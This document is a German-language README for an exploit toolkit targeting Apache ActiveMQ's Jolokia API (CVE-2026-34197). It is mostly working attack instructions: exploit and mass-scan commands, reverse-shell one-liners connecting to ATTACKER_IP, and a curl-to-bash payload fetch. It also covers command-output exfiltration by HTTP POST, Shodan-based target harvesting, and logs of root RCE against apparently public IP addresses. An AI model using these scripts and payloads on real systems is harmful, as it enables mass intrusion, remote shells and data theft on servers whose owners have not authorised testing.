
Exploit für Apache ActiveMQ RCE über die Jolokia-API (CVE-2026-34197) mit Erfassung der Befehlsausgabe, Massen-Scanning und automatischer Ausnutzung.
Überblick • Details • Angriffsablauf • Schnellstart • ATTACKER_IP-Anleitung • Verwendung • Ausgabeerfassung • Scanner • Suche • Erkennung • Behebung
CVE-2026-34197 ist eine kritische Remote Code Execution (RCE)-Schwachstelle in Apache ActiveMQ Classic, die es einem authentifizierten Angreifer ermöglicht, beliebige Betriebssystembefehle über die in der Webkonsole bereitgestellte Jolokia-API auszuführen.
Die Schwachstelle existiert seit über 13 Jahren und liegt in der Interaktion zwischen Jolokia (HTTP-JMX-Brücke), ActiveMQ-MBeans, Netzwerk-Connectoren und dem VM-Transport.
[!CAUTION] Dies ist ein erster öffentlicher PoC, entwickelt von KONDOR DEV SECURITY. Nur in autorisierten Sicherheitsbewertungen verwenden.
id, whoami, cat /etc/passwd) zeigen ihre Ausgabe automatisch in Ihrem Terminal anversion_check.py) — mehrthreadige Versionserkennung + gezielte Ausnutzung| CVE-ID | CVE-2026-34197 |
| Schweregrad | |
| Typ | Remote Code Execution (RCE) |
| CWE | CWE-20 (Unzureichende Eingabevalidierung) / CWE-94 (Code-Injection) |
| Betroffen | ActiveMQ Classic < 5.19.4 und 6.0.0 — 6.2.2 |
| Behoben | 5.19.4 / 6.2.3 |
| Authentifizierung erforderlich | Ja (Standard-Anmeldedaten admin:admin sind üblich) |
| Keine Authentifizierung nötig | 6.0.0 — 6.1.1 (aufgrund von CVE-2024-32114) |
| Standard-Port | 8161 (Webkonsole) |
CVE-2026-34197 — Exploitation Chain
──────────────────────────────────────────────────────────────
ATTACKER ACTIVEMQ SERVER ──────── ─────────────── │ │ [1] │── POST /api/jolokia/ ──────────────────>│ │ addNetworkConnector( │ │ vm://rce?brokerConfig= │ │ xbean:http://ATTACKER/payload.xml) │ │ │ │ [2] │── Creates VM broker │ │── Fetches remote XML │ │ [3] │<── GET /payload.xml ─────────────────────│ │── Serves malicious Spring XML ─────────>│ │ │ │ [4] │── Spring instantiates beans │ │── Runtime.exec(COMMAND) │ │── ** RCE ACHIEVED ** │ │ [5] │<── POST /output (command stdout) ────────│ (auto, for simple commands) │── Displays command output │ │ │
### Schritt-für-Schritt-Aufschlüsselung
| Schritt | Aktion | Komponente |
|:----:|--------|-----------|
| **1** | Angreifer sendet POST an `/api/jolokia/` und ruft `addNetworkConnector` auf dem Broker-MBean auf | Jolokia API |
| **2** | ActiveMQ verarbeitet die `vm://`-Transport-URI und erstellt einen ephemeren Broker mit `brokerConfig`, der auf eine entfernte URL verweist | VM Transport |
| **3** | Das `xbean:`-Schema löst den Download einer Spring-XML-Konfigurationsdatei vom Server des Angreifers aus | Spring / XBean |
| **4** | Spring instanziiert alle Beans im XML, einschließlich eines, das `Runtime.getRuntime().exec()` aufruft | Spring Context |
| **5** | Bei einfachen Befehlen wird die Ausgabe erfasst und per HTTP-POST an den Listener des Angreifers zurückgesendet (automatisch) | Ausgabeerfassung |
---
## Projektstruktur```
CVE-2026-34197/
├── exploit.py # PoC exploit (single target + mass scan)
├── version_check.py # Scanner + Auto-Exploit (2-phase pipeline)
├── payloads/
│ └── template.xml # Spring XML payload template
├── targets.txt # Target URLs (one per line)
├── docker/
│ └── docker-compose.yml # Vulnerable lab environment
├── docs/
│ ├── HUNTING_GUIDE_EN.md # Target hunting guide (English)
│ └── HUNTING_GUIDE_ES.md # Guía de búsqueda (Español)
├── LICENSE
└── README.md
pip install requests
### Lab-Umgebung (Docker)```bash
cd docker
docker-compose up -d
# ActiveMQ Classic 5.18.6 (vulnerable) → localhost:8161
python exploit.py -t http://TARGET:8161 -l YOUR_IP -c "id"
python exploit.py -T targets.txt -l YOUR_IP -c "id"
### Scanner + Auto-Exploit (empfohlen für Massenziele)```bash
# Scan only — detect versions, no exploitation
python version_check.py -T targets.txt
# Scan + auto-exploit vulnerable targets
python version_check.py -T targets.txt -l YOUR_IP -c "id"
ATTACKER_IP (-l / --lhost)Der Parameter -l (oder --lhost) ist entscheidend für den Erfolg des Exploits. Er gibt die IP-Adresse an, unter der Ihr Rechner die schädliche Spring-XML-Payload bereitstellt. Der Ziel-ActiveMQ-Server muss in der Lage sein, diese IP-Adresse über das Netzwerk zu erreichen, um die Payload herunterzuladen.
ATTACKER_IP?Wenn der Exploit ausgelöst wird, teilt er ActiveMQ mit: „Lade deine Konfiguration von http://ATTACKER_IP:8888/payload.xml herunter". ActiveMQ sendet daraufhin eine ausgehende HTTP-Anfrage an Ihren Rechner. Wenn es Sie nicht erreichen kann, schlägt der Exploit still fehl.```
YOUR MACHINE TARGET (ActiveMQ)
──────────── ─────────────────
ATTACKER_IP:8888 ◄──── HTTP GET ──── "fetch xbean:http://ATTACKER_IP:8888/payload.xml"
(serves payload.xml) (downloads & executes)
### So ermitteln Sie Ihre `ATTACKER_IP`
| Szenario | So finden Sie sie | Beispiel |
|----------|---------------|---------|
| **Gleiches LAN** (Labor, internes Pentesting) | Ihre lokale/private IP | `ip a` → `192.168.1.50` |
| **VPN** (HTB, THM, internes Netzwerk) | Ihre VPN-Tunnel-IP | `ip a show tun0` → `10.10.14.23` |
| **Remote-Ziel über das Internet** | Ihre öffentliche IP | `curl ifconfig.me` → `203.0.113.42` |
| **Cloud-VPS** (Angriff von einem Server aus) | Die öffentliche IP des VPS | Prüfen Sie das Dashboard Ihres Cloud-Anbieters |```bash
# Linux — find your IPs
ip -4 addr show # All interfaces
ip addr show tun0 # VPN interface (HTB/THM)
ip addr show eth0 # Ethernet / cloud
curl -s ifconfig.me # Public IP
# Windows
ipconfig # All interfaces
(Invoke-WebRequest ifconfig.me).Content # Public IP (PowerShell)
# macOS
ifconfig en0 # Wi-Fi
ifconfig utun0 # VPN
curl -s ifconfig.me # Public IP
| Fehler | Warum er fehlschlägt | Lösung |
|---|---|---|
Verwendung von 127.0.0.1 oder localhost | Das Ziel versucht, von sich selbst herunterzuladen, nicht von dir | Verwende deine echte Netzwerk-IP |
Verwendung einer privaten IP (192.168.x.x) für ein Internet-Ziel | Das Ziel kann nicht zu deinem privaten Netzwerk routen | Verwende deine öffentliche IP oder einen VPS |
Verwendung deiner öffentlichen IP, aber Port 8888 ist blockiert | Firewall/NAT verwirft die eingehende Verbindung vom Ziel | Öffne Port 8888 in Firewall/Router oder verwende -lp mit einem offenen Port |
Verwendung der falschen Interface-IP (z. B. eth0 statt tun0) | Das Ziel kann dieses Netzwerksegment nicht erreichen | Wähle das Interface, das eine Route zum Ziel hat |
Bevor du den Exploit ausführst, bestätige, dass das Ziel deinen Listener erreichen kann:```bash
python3 -c "import http.server; http.server.HTTPServer(('0.0.0.0', 8888), http.server.SimpleHTTPRequestHandler).serve_forever()"
curl http://ATTACKER_IP:8888/
### Port-Weiterleitung (NAT-Szenarien)
Wenn Sie sich hinter einem Router/NAT befinden und ein Internet-ausgerichtetes Ziel angreifen:```bash
# Option A: Use a cloud VPS (recommended)
# Run the exploit from a VPS with a public IP — no NAT issues
# Option B: Port forward on your router
# Forward external port 8888 → your_local_ip:8888 (TCP)
# Then use your PUBLIC IP as ATTACKER_IP
# Option C: Use ngrok (quick & dirty)
ngrok http 8888
# Use the ngrok URL — but note: the exploit uses raw HTTP, not ngrok's URL format
# This option is NOT recommended for this exploit
sudo iptables -A INPUT -p tcp --dport 8888 -j ACCEPT
sudo ufw allow 8888/tcp
New-NetFirewallRule -DisplayName "CVE-2026-34197 Listener" -Direction Inbound -Protocol TCP -LocalPort 8888 -Action Allow
### Vollständiges Workflow-Beispiel```bash
# Step 1: Identify your IP
$ ip addr show tun0
inet 10.10.14.23/23 ...
# Step 2: Verify the target is vulnerable
$ python version_check.py -T targets.txt
[+] http://10.129.45.67:8161 → 5.15.9 (admin) [VULNERABLE]
# Step 3: Run the exploit with YOUR correct IP
$ python exploit.py -t http://10.129.45.67:8161 -l 10.10.14.23 -c "id"
# Step 4: For a reverse shell — start listener FIRST
$ nc -lvnp 4444 # Terminal 1
$ python exploit.py -t http://10.129.45.67:8161 -l 10.10.14.23 \
-c "bash -i >& /dev/tcp/10.10.14.23/4444 0>&1" # Terminal 2
[!IMPORTANT] Die
ATTACKER_IPin-lund innerhalb der Reverse-Shell-Befehle (/dev/tcp/ATTACKER_IP/4444) muss dieselbe erreichbare IP sein. Wenn du in dem Reverse-Shell-Befehl eine andere IP verwendest, verbindet sich die Shell mit der falschen Stelle.
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP -c "id"
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP -c "whoami" -u admin -p secret
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP -lp 9999 -c "cat /etc/passwd"
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP -c "id" --no-auth
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP -c "id" --broker-name mybroker
### Massen-Scan (Mehrere Ziele)```bash
# Scan targets from file, save vulnerable ones
python exploit.py -T targets.txt -l ATTACKER_IP -c "id"
# Custom output file
python exploit.py -T targets.txt -l ATTACKER_IP -c "id" -o vulnerable_hosts.txt
# Mass scan with custom credentials and port
python exploit.py -T targets.txt -l ATTACKER_IP -lp 9999 -c "id" -u myuser -p mypass
Die Datei targets.txt sollte eine URL pro Zeile enthalten:```
http://10.0.0.1:8161
http://10.0.0.2:8161
https://10.0.0.3:8161
Massenscan-Funktionen:
- **Automatische Deduplizierung** — doppelte URLs werden automatisch entfernt
- **Einzelner HTTP-Server** — der Payload-Server startet einmal und wird für alle Ziele wiederverwendet
- **Auth-Fallback** — wenn Anmeldedaten fehlschlagen (401), wird automatisch ohne Authentifizierung erneut versucht (CVE-2024-32114)
- **Zufällige Connector-Namen** — vermeidet JMX-Registrierungskollisionen zwischen Zielen
- **Inkrementelles Speichern** — verwundbare Ziele werden sofort gespeichert (sicher bei Strg+C)
- **HTTPS-Unterstützung** — funktioniert sowohl mit HTTP- als auch mit HTTPS-Zielen
### Reverse Shells
Reverse Shells und Befehle mit Sonderzeichen (`>`, `&`, `|`, `;`, `$` usw.) werden **automatisch base64-kodiert**, um XML-/Shell-Escaping-Probleme zu vermeiden.```bash
# Bash reverse shell
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP \
-c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
# Netcat reverse shell
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP \
-c "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP 4444 >/tmp/f"
# Python reverse shell
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP \
-c "python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect((\"ATTACKER_IP\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'"
# Curl + bash (download & execute)
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP \
-c "curl http://ATTACKER_IP/shell.sh | bash"
# Mass reverse shell scan
python exploit.py -T targets.txt -l ATTACKER_IP \
-c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
Hinweis: Starte deinen Listener, bevor du den Exploit ausführst:
nc -lvnp 4444
Sowohl exploit.py als auch version_check.py können die Befehlsausgabe automatisch erfassen und anzeigen – für einfache Befehle wie id, whoami, cat /etc/passwd, hostname usw.
Wenn du einen einfachen Befehl ausführst, verpackt der Exploit ihn automatisch, um stdout/stderr über HTTP POST an deinen Listener zurückzusenden:``` YOUR MACHINE (ATTACKER_IP:8888) TARGET (ActiveMQ) ─────────────────────────────── ─────────────────
(payload served) Executes wrapped command:
OUTPUT=$(id 2>&1)
curl -s -X POST http://ATTACKER:8888/output -d "$OUTPUT"
Displays: "uid=0(root) gid=0(root)..."
#### Beispiel mit Ausgabe```bash
$ python exploit.py -t http://10.129.45.67:8161 -l 10.10.14.23 -c "id"
[*] Target: http://10.129.45.67:8161
[*] Command: id
[*] Output: capture enabled (will POST back to listener)
[*] Broker: localhost
[*] Auth: admin
[*] Sending request to Jolokia...
[+] Jolokia accepted the operation (status=200)
[*] Waiting for the target to download the payload...
[+] Payload served to 10.129.45.67
[+] Target downloaded the payload. Command executed.
[*] Waiting for command output...
[+] Command output received:
──────────────────────────────────────────────────
uid=0(root) gid=0(root) groups=0(root)
──────────────────────────────────────────────────
| Befehlstyp | Beispiel | Verhalten |
|---|---|---|
| Einfache Befehle | id, whoami, cat /etc/passwd, ls -la, uname -a | Ausgabe wird erfasst und automatisch angezeigt |
| Reverse Shells | bash -i >& /dev/tcp/..., nc ... -e /bin/sh, mkfifo... | Als interaktiv erkannt — kein Wrapping, funktioniert wie zuvor |
| Befehle mit curl/wget | curl http://..., wget http://... | Als interaktiv erkannt — kein Wrapping, um Störungen zu vermeiden |
Die Erkennung erfolgt automatisch. Du musst keine zusätzlichen Flags übergeben.
Die Ausgabeerfassung erfordert curl oder wget auf dem Zielsystem. Wenn keines verfügbar ist:
[!TIP] Die meisten Linux-Systeme (und ActiveMQ-Docker-Images) haben
curlvorinstalliert. Wenn die Ausgabeerfassung einen Timeout erreicht, aber RCE bestätigt ist, fehlen dem Ziel wahrscheinlich sowohlcurlals auchwget.
| Flag | Beschreibung | Standard |
|---|---|---|
-t, --target | Einzelne Ziel-URL | — |
-T, --targets-file | Datei mit Ziel-URLs (eine pro Zeile) | — |
-l, --lhost | Angreifer-IP zum Ausliefern des Payloads | erforderlich |
-lp, --lport | Lokaler HTTP-Server-Port | 8888 |
-c, --command | Auszuführender OS-Befehl | erforderlich |
-u, --user | Jolokia-Benutzername | admin |
-p, --password | Jolokia-Passwort | admin |
--no-auth | Authentifizierung überspringen | false |
--broker-name | Broker-Name-Überschreibung | Auto-Erkennung |
-o, --output | Ausgabedatei für verwundbare Ziele | vulnerables.txt |
--timeout-wait | Sekunden zum Warten auf den Payload-Download | 15 |
Hinweis:
-tund-Tschließen sich gegenseitig aus. Verwende entweder das eine oder das andere.
version_check.py)Das empfohlene Tool für mehrere Ziele. Eine 2-Phasen-Pipeline, die zuerst ActiveMQ-Versionen über alle Ziele hinweg erkennt (schnell, multithreaded) und dann automatisch nur die verwundbaren mit echter RCE-Verifizierung über den Payload-Callback ausnutzt.
version_check.py vs. exploit.py verwenden| Szenario | Tool | Warum |
|---|---|---|
| Du hast eine Liste von Zielen und möchtest herausfinden, welche verwundbar sind | version_check.py | Scannt zuerst Versionen (schnell), nutzt dann nur verwundbare aus |
| Du möchtest scannen ohne auszunutzen (nur Recon) | version_check.py | -l/-c weglassen für Scan-only-Modus |
| Du hast ein einzelnes bestätigtes Ziel | exploit.py | Einfacher, direkte Ausnutzung |
| Du möchtest einen bestimmten Host jetzt ausnutzen | exploit.py | Kein Scan-Overhead |
| Du hast 100+ Ziele von Shodan/LeakIX | version_check.py | Multithreaded Phase 1 verarbeitet große Listen in Sekunden |
┌─────────────────────────────────────────────────────────┐ │ PHASE 1 — Version Detection (fast, multithreaded) │ │ │ │ targets.txt ──→ 10 threads query Jolokia in parallel │ │ GET .../BrokerVersion │ │ │ │ For each target: │ │ 1. Try auth (admin:admin) │ │ 2. If 401 → retry without auth (CVE-2024-32114) │ │ 3. If brokerName=localhost fails → try wildcard (*) │ │ 4. Extract: version, real broker name, working auth │ │ 5. Classify: [VULNERABLE] or [PATCHED] │ │ │ │ Output: list of vulnerable candidates with metadata │ └──────────────────────┬──────────────────────────────────┘ │ only vulnerable targets ▼ ┌─────────────────────────────────────────────────────────┐ │ PHASE 2 — RCE Verification (sequential, with callback) │ │ (only runs if -l and -c are provided) │ │ │ │ For each vulnerable target: │ │ 1. Generate Spring XML payload with command │ │ 2. Send addNetworkConnector via Jolokia │ │ 3. Wait for target to download payload (callback) │ │ 4. If callback received → RCE CONFIRMED │ │ │ │ Output: confirmados.txt with RCE-confirmed targets │ └─────────────────────────────────────────────────────────┘
### Logik der Versionsklassifizierung
Der Scanner klassifiziert Versionen automatisch anhand der betroffenen Bereiche:
| Version | Klassifizierung |
|---------|---------------|
| `< 5.19.4` (z. B. 5.15.9, 5.18.6) | `[VULNERABLE]` |
| `>= 5.19.4` (z. B. 5.19.4, 5.20.0) | `[PATCHED]` |
| `6.0.0` bis `6.2.2` | `[VULNERABLE]` |
| `>= 6.2.3` | `[PATCHED]` |
### Schritt-für-Schritt-Anleitung zur Nutzung
#### Schritt 1 — Vorbereiten Ihrer Zieldatei
Erstellen Sie eine `targets.txt` mit einer URL pro Zeile. Duplikate werden automatisch entfernt.```
http://10.0.0.1:8161
http://10.0.0.2:8161
https://10.0.0.3:8161
http://192.168.1.100:8161
[!TIP] Nutzen Sie die Hunting Guides, um Ziele über Shodan, LeakIX, FOFA, Censys oder Google Dorks zu finden.
Wenn Sie nur identifizieren möchten, welche Ziele verwundbar sind, ohne sie auszunutzen, lassen Sie -l und -c weg:```bash
python version_check.py -T targets.txt
Dies führt **nur Phase 1** aus. Es wird kein HTTP-Server gestartet, keine Payloads werden gesendet, keine Befehle werden ausgeführt. Die Ausgabedatei enthält Versionsinformationen für jedes verwundbare Ziel:```
http://52.234.160.12:8161 | 5.15.9 | admin | broker=localhost
http://62.151.178.135:8161 | 5.15.2 | admin | broker=mybroker
Du kannst die Scan-Geschwindigkeit mit mehr Threads erhöhen:```bash python version_check.py -T targets.txt --threads 20
#### Schritt 3 — Scan + Auto-Exploit (vollständige Pipeline)
Um **und** in einem Durchlauf zu scannen und auszunutzen, füge `-l` (deine ATTACKER_IP) und `-c` (Befehl) hinzu:```bash
python version_check.py -T targets.txt -l ATTACKER_IP -c "id"
Dies führt beide Phasen aus:
[VERWUNDBAR] aus (sequenziell, mit Callback-Verifizierung)[!IMPORTANT]
ATTACKER_IPmuss von den Zielen aus erreichbar sein. Der Ziel-ActiveMQ-Server sendet eine ausgehende HTTP-Anfrage anhttp://ATTACKER_IP:8888/payload.xml. Siehe den ATTACKER_IP-Leitfaden für Details zur Auswahl der richtigen IP.
Bestätigte verwundbare Ziele werden inkrementell in die Ausgabedatei (Standard: confirmados.txt) gespeichert:```
http://52.234.160.12:8161 | 5.15.9 | admin
`URL | Version | Auth-Methode`. Du kannst diese dann einzeln mit `exploit.py` für die weitere Post-Exploitation verwenden.
### Anwendungsbeispiele```bash
# Scan only — detect versions (no exploitation)
python version_check.py -T targets.txt
# Scan + auto-exploit — full pipeline
python version_check.py -T targets.txt -l ATTACKER_IP -c "id"
# Faster scan with 20 threads
python version_check.py -T targets.txt -l ATTACKER_IP -c "id" --threads 20
# Custom output, credentials, and port
python version_check.py -T targets.txt -l ATTACKER_IP -c "id" -o pwned.txt -u admin -p secret -lp 9999
# Reverse shell (auto base64-wrapped)
# IMPORTANT: start your netcat listener FIRST on port 4444 (in a separate terminal):
# nc -lvnp 4444
# The port in nc must match the port in /dev/tcp/.../4444
python version_check.py -T targets.txt -l ATTACKER_IP \
-c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
# No-auth mode (for ActiveMQ 6.0.0 — 6.1.1)
python version_check.py -T targets.txt -l ATTACKER_IP -c "id" --no-auth
# Longer callback wait (slow networks)
python version_check.py -T targets.txt -l ATTACKER_IP -c "id" --wait 30
# Combine: fast threads + long wait + custom creds
python version_check.py -T targets.txt -l ATTACKER_IP -c "id" \
--threads 30 --wait 20 -u operator -p s3cret -lp 9999 -o results.txt
ATTACKER_IP in version_check.pyDer Parameter -l verhält sich genau wie in exploit.py, mit einem entscheidenden Unterschied: Der HTTP-Server wird einmal gestartet und in Phase 2 für alle Ziele wiederverwendet.```
YOUR MACHINE (ATTACKER_IP) TARGETS
────────────────────────── ───────
HTTP server on :8888 Target 1 (v5.15.9) ──→ GET /payload.xml ──→ YOUR_IP:8888
(started once, reused) Target 2 (v5.18.6) ──→ GET /payload.xml ──→ YOUR_IP:8888
Target 3 (v6.2.3) ──→ [PATCHED, skipped]
**Phase 1 erfordert KEINE `ATTACKER_IP`** — sie fragt nur Jolokia nach Versionsinformationen ab. Du kannst Phase 1 allein ausführen, um Aufklärung zu betreiben, ohne deine IP preiszugeben.
**Phase 2 erfordert `ATTACKER_IP`** — die Ziele müssen deinen HTTP-Server erreichen können, um das Payload herunterzuladen. Wenn ein Ziel dich nicht erreichen kann, läuft es in einen Timeout (Standard: 15s) und wird als „kein Callback empfangen“ markiert — das bedeutet aber nicht zwangsläufig, dass es nicht verwundbar ist (Firewalls können ausgehenden Datenverkehr blockieren).
### Parameter
| Flag | Beschreibung | Standard |
|------|--------------|----------|
| `-T, --targets-file` | Datei mit Ziel-URLs (eine pro Zeile) | *erforderlich* |
| `-l, --lhost` | Angreifer-IP für Callback (aktiviert Phase 2) | — |
| `-c, --command` | Auszuführender Befehl (aktiviert Phase 2) | — |
| `-lp, --lport` | Lokaler HTTP-Server-Port | `8888` |
| `-o, --output` | Ausgabedatei für bestätigte Ziele | `confirmados.txt` |
| `-u, --user` | Jolokia-Benutzername | `admin` |
| `-p, --password` | Jolokia-Passwort | `admin` |
| `--no-auth` | Authentifizierung überspringen | `false` |
| `--threads` | Parallele Threads für Phase 1 | `10` |
| `--timeout` | Timeout pro Anfrage in Phase 1 | `10s` |
| `--wait` | Sekunden, die auf Callback in Phase 2 gewartet wird | `15s` |
> **Hinweis:** Sowohl `-l` als auch `-c` müssen zusammen angegeben werden, um Phase 2 zu aktivieren. Wenn eine der beiden fehlt, wird nur Phase 1 (Scan) ausgeführt.
### Funktionen
- **2-Phasen-Pipeline** — zuerst schneller Versionsscan, dann gezielte Ausnutzung
- **Multithreaded Phase 1** — scannt Hunderte von Zielen in Sekunden
- **Intelligente Broker-Erkennung** — behandelt `brokerName=*`-Wildcard-Antworten, extrahiert den echten Broker-Namen aus MBean-Schlüsseln
- **Auth-Fallback** — wenn `admin:admin` fehlschlägt (401), wird ohne Authentifizierung erneut versucht (CVE-2024-32114)
- **Zufällige Connector-Namen** — vermeidet JMX-Kollisionen (`rce{random8}` eindeutig pro Ziel)
- **Automatisches Base64-Wrapping** — Reverse Shells und Sonderzeichen funktionieren sofort
- **Inkrementelles Speichern** — bestätigte Ziele werden sofort gespeichert (sicher bei Strg+C mitten im Scan)
- **Nur-Scan-Modus** — `-l`/`-c` weglassen, um nur Versionen zu erkennen, ohne auszunutzen
- **Versionsklassifizierung** — markiert `[VERWUNDBAR]` / `[GEPATCHT]` basierend auf betroffenen Bereichen
- **Einzelner HTTP-Server** — wird einmal in Phase 2 gestartet und für alle Ziele wiederverwendet (keine Portkonflikte)
### Reverse Shells mit `version_check.py`
Wenn du `version_check.py` verwendest, um eine Reverse Shell zu senden, benötigst du **zwei Dinge, die gleichzeitig laufen**:
1. Einen **Netcat-Listener** auf deinem Rechner, der auf die eingehende Shell-Verbindung wartet
2. Den **version_check.py**-Befehl, der Ziele scannt und ausnutzt
Der Listener-Port (`nc -lvnp PORT`) **muss mit dem Port** im Reverse-Shell-Befehl übereinstimmen (`/dev/tcp/ATTACKER_IP/PORT`).```
YOUR MACHINE (ATTACKER_IP)
──────────────────────────
Terminal 1: nc -lvnp 4444 ◄── Listening for reverse shell on port 4444
Terminal 2: version_check.py ... ──► Scans targets, exploits vulnerable ones
└─ sends: bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
▲
TARGET (ActiveMQ) │
───────────────── │
Executes the command ──► bash connects back to ATTACKER_IP:4444 ────────────────┘
nc -lvnp 4444
python version_check.py -T targets.txt -l ATTACKER_IP
-c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
#### Verwendung eines anderen Ports
Sie können jeden beliebigen Port verwenden, solange beide Seiten übereinstimmen:```bash
# Terminal 1: listener on port 9001
nc -lvnp 9001
# Terminal 2: reverse shell pointing to port 9001
python version_check.py -T targets.txt -l ATTACKER_IP \
-c "bash -i >& /dev/tcp/ATTACKER_IP/9001 0>&1"
python version_check.py -T targets.txt -l ATTACKER_IP
-c "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP 4444 >/tmp/f"
python version_check.py -T targets.txt -l ATTACKER_IP
-c "python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'"
> [!WARNING]
> **Zu vermeidende Port-Verwechslung:** Der Exploit verwendet **zwei verschiedene Ports** für zwei verschiedene Zwecke:
> - `-lp` (Standard `8888`) — der HTTP-Server-Port, über den ActiveMQ die XML-Payload herunterlädt. Dies wird automatisch vom Skript übernommen.
> - Der Port in `/dev/tcp/.../4444` — der Reverse-Shell-Callback-Port, auf dem DU mit `nc` lauschst. Dies liegt in deiner Verantwortung.
>
> Diese sind **unabhängig voneinander**. Verwechsle sie nicht. Du benötigst `nc -lvnp 4444` für die Shell, und das Skript übernimmt `:8888` intern.
### Beispielausgabe```
╔═══════════════════════════════════════════════════════════╗
║ CVE-2026-34197 — ActiveMQ Scanner + Auto-Exploit ║
║ Phase 1: Version Detection (fast, multithreaded) ║
║ Phase 2: RCE Verification (exploit + callback) ║
║ By: KONDOR DEV SECURITY — t.me/KONDORDEVSECURITY ║
╚═══════════════════════════════════════════════════════════╝
[*] 124 unique targets loaded
[*] Threads: 10 | Timeout: 10s
[*] Mode: SCAN + EXPLOIT (wait: 15s)
[*] Command: id
════════════════════════════════════════════════════════════
PHASE 1 — Version detection (multithreaded)
════════════════════════════════════════════════════════════
[+] [1/124] http://52.234.160.12:8161 → 5.15.9 (admin) [VULNERABLE]
[+] [2/124] http://62.151.178.135:8161 → 5.15.2 (admin) [VULNERABLE]
[+] [3/124] http://146.190.139.20:8161 → 5.15.6 (admin) [VULNERABLE]
[-] [4/124] http://167.172.150.143:8161 → 401
[-] [5/124] http://198.44.176.205:8161 → Connection refused
[*] Phase 1 complete: 3 with version, 3 vulnerable by version
════════════════════════════════════════════════════════════
PHASE 2 — Real exploit (3 candidates)
════════════════════════════════════════════════════════════
[+] HTTP server on 0.0.0.0:8888
[1/3] http://52.234.160.12:8161 (v5.15.9, broker=localhost)
[*] Sending exploit...
[+] Jolokia accepted (status=200)
[+] Payload downloaded by 52.234.160.12
[+] Command output:
──────────────────────────────────────────────
uid=0(root) gid=0(root) groups=0(root)
──────────────────────────────────────────────
[+] ✓ RCE CONFIRMED — http://52.234.160.12:8161 (v5.15.9)
[2/3] http://62.151.178.135:8161 (v5.15.2, broker=mybroker)
[*] Sending exploit...
[+] Jolokia accepted (status=200)
[*] No callback received within 15s
[3/3] http://146.190.139.20:8161 (v5.15.6, broker=localhost)
[*] Sending exploit...
[+] Jolokia accepted (status=200)
[+] Payload downloaded by 146.190.139.20
[+] Command output:
──────────────────────────────────────────────
uid=33(www-data) gid=33(www-data) groups=33(www-data)
──────────────────────────────────────────────
[+] ✓ RCE CONFIRMED — http://146.190.139.20:8161 (v5.15.6)
════════════════════════════════════════════════════════════
FINAL SUMMARY
════════════════════════════════════════════════════════════
[*] Total scanned: 124
[*] Version detected: 3
[*] Vulnerable by version: 3
[+] RCE CONFIRMED: 2
[+] Saved to: confirmed.txt
✓ http://52.234.160.12:8161 | v5.15.9 | admin
✓ http://146.190.139.20:8161 | v5.15.6 | admin
| Phase-2-Ergebnis | Bedeutung | Nächster Schritt |
|---|---|---|
RCE CONFIRMED + Command output: | Das Ziel hat den Befehl ausgeführt und die Ausgabe zurückgesendet | Vollständiger Erfolg — Sie können die Ausgabe direkt sehen |
RCE CONFIRMED (keine Ausgabe) | Das Ziel hat die Payload heruntergeladen, aber keine Ausgabe empfangen | RCE funktioniert, aber curl/wget fehlt möglicherweise auf dem Ziel; verwenden Sie eine Reverse Shell |
No callback received within Ns | Das Ziel hat Ihren HTTP-Server nicht rechtzeitig erreicht | Prüfen Sie die Erreichbarkeit von ATTACKER_IP, Firewalls oder erhöhen Sie --wait |
Jolokia accepted (status=200) | Jolokia hat die Anfrage erfolgreich verarbeitet | Gutes Zeichen — auf Callback warten |
Jolokia status=500: ... | Jolokia hat einen Fehler zurückgegeben | Kann trotzdem funktionieren (der XML-Download kann trotz 500 erfolgen); Logs prüfen |
HTTP 401 | Authentifizierung für dieses Ziel fehlgeschlagen | Das Ziel benötigt andere Anmeldedaten |
HTTP 403 | Jolokia ist eingeschränkt | Das Ziel hat ACLs — mit dieser Methode nicht ausnutzbar |
Connection refused / Timeout | Das Ziel ist nicht erreichbar | Netzwerkproblem oder Ziel ist nicht verfügbar |
shodan search "ActiveMQ port:8161" --fields ip_str,port > raw_targets.txt
awk '{print "http://"$1}' raw_targets.txt > targets.txt
python version_check.py -T targets.txt --threads 20
python version_check.py -T targets.txt -l ATTACKER_IP -c "id"
nc -lvnp 4444 # Terminal 1
python exploit.py -t http://CONFIRMED_TARGET:8161 -l ATTACKER_IP
-c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1" # Terminal 2
---
## Jagd & Aufklärung
Detaillierte Anleitungen zum Auffinden exponierter Apache ActiveMQ-Instanzen mit **Shodan**, **LeakIX**, **FOFA**, **Censys**, **ZoomEye** und **Google Dorks** — einschließlich versionsspezifischer Dorks, Jolokia-Erkennung, CLI/API-Nutzung, Schritten zur Zielvalidierung, SIEM/IDS-Regeln und Prioritäten für die Behebung.
<table>
<tr>
<td align="center">
<a href="docs/HUNTING_GUIDE_EN.md"><img src="https://img.shields.io/badge/Hunting%20Guide-English%20%F0%9F%87%AC%F0%9F%87%A7-2196F3?style=for-the-badge" alt="English"/></a>
</td>
<td align="center">
<a href="docs/HUNTING_GUIDE_ES.md"><img src="https://img.shields.io/badge/Gu%C3%ADa%20de%20B%C3%BAsqueda-Espa%C3%B1ol%20%F0%9F%87%AA%F0%9F%87%B8-FF9800?style=for-the-badge" alt="Español"/></a>
</td>
</tr>
